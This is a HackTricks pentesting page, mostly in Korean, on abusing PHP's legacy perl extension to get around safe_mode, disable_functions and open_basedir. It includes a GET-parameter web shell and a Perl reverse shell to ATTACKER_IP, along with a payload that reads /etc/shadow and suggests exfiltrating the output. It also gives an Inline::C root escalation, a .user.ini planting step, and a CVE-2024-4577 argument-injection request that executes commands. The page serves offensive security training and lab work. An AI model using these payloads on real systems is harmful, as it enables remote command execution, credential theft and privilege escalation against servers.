PHP Perl Extension Safe_mode Bypass Exploit

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

배경

이슈는 CVE-2007-4596로 추적되며, PHP의 레거시 perl 확장에서 비롯됩니다. 이 확장은 PHP의 safe_mode, disable_functions, 또는 open_basedir 제어를 무시하고 전체 Perl 인터프리터를 임베드합니다. extension=perl.so를 로드하는 모든 PHP 워커는 Perl의 제한 없는 eval을 얻게 되어, 전통적인 PHP 프로세스-스폰닝 프리미티브가 모두 차단되어 있어도 명령 실행이 여전히 매우 쉽습니다. safe_mode는 PHP 5.4에서 사라졌지만, 많은 구식 공유 호스팅 스택과 취약한 실습 환경은 여전히 이를 포함하고 있으므로, 레거시 컨트롤 패널에 접근할 때 이 우회 기법은 여전히 유용합니다.

호환성 및 패키징 상태 (2025)

  • 마지막 PECL 릴리스(perl-1.0.1, 2013)는 PHP ≥5.0을 대상으로 합니다; Zend API 변경 때문에 PHP 8+에서는 일반적으로 실패합니다.
  • PECL은 PIE로 대체되고 있지만, 오래된 스택은 여전히 PECL/pear를 포함합니다. 아래 흐름을 PHP 5/7 대상에 사용하세요; 최신 PHP에서는 다운그레이드하거나 다른 인젝션 경로(예: userland FFI)로 전환해야 할 수 있습니다.

2025년에 테스트 가능한 환경 구축

  • PECL에서 perl-1.0.1을 가져와 공격하려는 PHP 브랜치용으로 컴파일하고 전역(php.ini)으로 또는 dl()을 통해(허용되는 경우) 로드하세요.
  • 빠른 Debian 기반 실습 레시피:
sudo apt install php5.6 php5.6-dev php-pear build-essential
sudo pecl install perl-1.0.1
echo "extension=perl.so" | sudo tee /etc/php/5.6/mods-available/perl.ini
sudo phpenmod perl && sudo systemctl restart apache2
  • 익스플로잇 중에는 var_dump(extension_loaded('perl')); 또는 print_r(get_loaded_extensions());로 사용 가능 여부를 확인하세요. 없으면 perl.so를 검색하거나 쓰기 가능한 php.ini/.user.ini 항목을 악용해 강제로 로드하세요.
  • 인터프리터가 PHP 워커 내부에 존재하므로 외부 바이너리가 필요 없습니다—네트워크 이그레스 필터나 proc_open 블랙리스트는 문제가 되지 않습니다.

phpize가 접근 가능한 경우의 온-호스트 빌드 체인

If phpize and build-essential are present on the compromised host, you can compile and drop perl.so without shelling out to the OS:

# grab the tarball from PECL
wget https://pecl.php.net/get/perl-1.0.1.tgz
tar xvf perl-1.0.1.tgz && cd perl-1.0.1
phpize
./configure --with-perl=/usr/bin/perl --with-php-config=$(php -r 'echo PHP_BINARY;')-config
make -j$(nproc)
cp modules/perl.so /tmp/perl.so
# then load with a .user.ini in the webroot if main php.ini is read-only
echo "extension=/tmp/perl.so" > /var/www/html/.user.ini

open_basedir가 적용되어 있다면, 배치한 .user.ini.so가 허용된 경로에 있는지 확인하세요; extension= 지시문은 basedir 내부에서도 여전히 적용됩니다. 컴파일 흐름은 PECL 확장 빌드에 대한 PHP 매뉴얼과 동일합니다.

원본 PoC (NetJackal)

출처: http://blog.safebuff.com/2016/05/06/disable-functions-bypass/, 확장이 eval에 응답하는지 확인하는 데 여전히 유용합니다:

<?php
if(!extension_loaded('perl'))die('perl extension is not loaded');
if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
$perl=new perl();
echo "<textarea rows='25' cols='75'>";
$perl->eval("system('".$_GET['cmd']."')");
echo "&lt;/textarea&gt;";
$_GET['cmd']=htmlspecialchars($_GET['cmd']);
echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>";
?>

최신 Payload 개선

1. Full TTY over TCP

내장 인터프리터는 /usr/bin/perl이 차단되어 있어도 IO::Socket을 로드할 수 있습니다:

$perl = new perl();
$payload = <<<'PL'
use IO::Socket::INET;
my $c = IO::Socket::INET->new(PeerHost=>'ATTACKER_IP',PeerPort=>4444,Proto=>'tcp');
open STDIN,  '<&', $c;
open STDOUT, '>&', $c;
open STDERR, '>&', $c;
exec('/bin/sh -i');
PL;
$perl->eval($payload);

2. File-System Escape (open_basedir가 있어도)

Perl은 PHP의 open_basedir을 무시하므로 임의의 파일을 읽을 수 있습니다:

$perl = new perl();
$perl->eval('open(F,"/etc/shadow") || die $!; print while <F>; close F;');

출력을 IO::Socket::INET 또는 Net::HTTP로 파이프하여 PHP가 관리하는 디스크립터를 건드리지 않고 데이터를 exfiltrate 하세요.

3. Inline Compilation for Privilege Escalation

시스템 전역에 Inline::C가 존재한다면, PHP의 ffipcntl에 의존하지 않고 요청 내에서 helpers를 컴파일하세요:

$perl = new perl();
$perl->eval(<<<'PL'
use Inline C => 'DATA';
print escalate();
__DATA__
__C__
char* escalate(){ setuid(0); system("/bin/bash -c 'id; cat /root/flag'"); return ""; }
PL
);

4. Living-off-the-Land Enumeration

Perl을 LOLBAS toolkit으로 취급하세요—예: mysqli가 없어도 MySQL DSN을 dump하세요:

$perl = new perl();
$perl->eval('use DBI; @dbs = DBI->data_sources("mysql"); print join("\n", @dbs);');

2024+ Abuse: Loading perl.so via PHP-CGI Argument Injection (CVE-2024-4577)

여전히 PHP-CGI를 노출하는 Windows 설치에서는, 2024 argument-injection regression (CVE-2024-4577)으로 인해 인터프리터에 임의의 -d 옵션을 전달할 수 있습니다. 이는 dl()이 비활성화되어 있고 php.ini가 읽기 전용인 경우에도 Perl extension을 로드할 수 있음을 의미합니다:

  • 호환되는 perl.dll/perl.so를 빌드하거나 웹 쓰기 가능한 경로(예: C:\xampp\htdocs\temp\perl.dll)에 업로드하세요.
  • -d extension=C:\\xampp\\htdocs\\temp\\perl.dll를 주입하고, 동일한 요청 본문에 Perl 기반 페이로드를 포함하는 단일 HTTP 요청을 전송하세요:
POST /?%ADd+extension=C:\\xampp\\htdocs\\temp\\perl.dll+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: victim
Content-Type: application/x-www-form-urlencoded
Content-Length: 120

<?php $p=new perl(); $p->eval("system('whoami && hostname')"); ?>

PHP worker가 본문을 읽기 전에 Perl을 임베드하므로, 모든 기존 disable_functions/open_basedir 제어가 우회됩니다. 패치되기 전까지 취약한 Windows/CGI 스택에서 동작합니다(이 회귀는 PHP 8.1.29/8.2.20/8.3.8 이상에서 수정됨). open_basedir가 DLL 경로를 차단하면, 먼저 허용된 기본 디렉터리 내부에 파일을 넣거나 XAMPP에 포함된 기존의 모든 사용자가 읽을 수 있는 DLL 경로를 활용하세요.

References

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기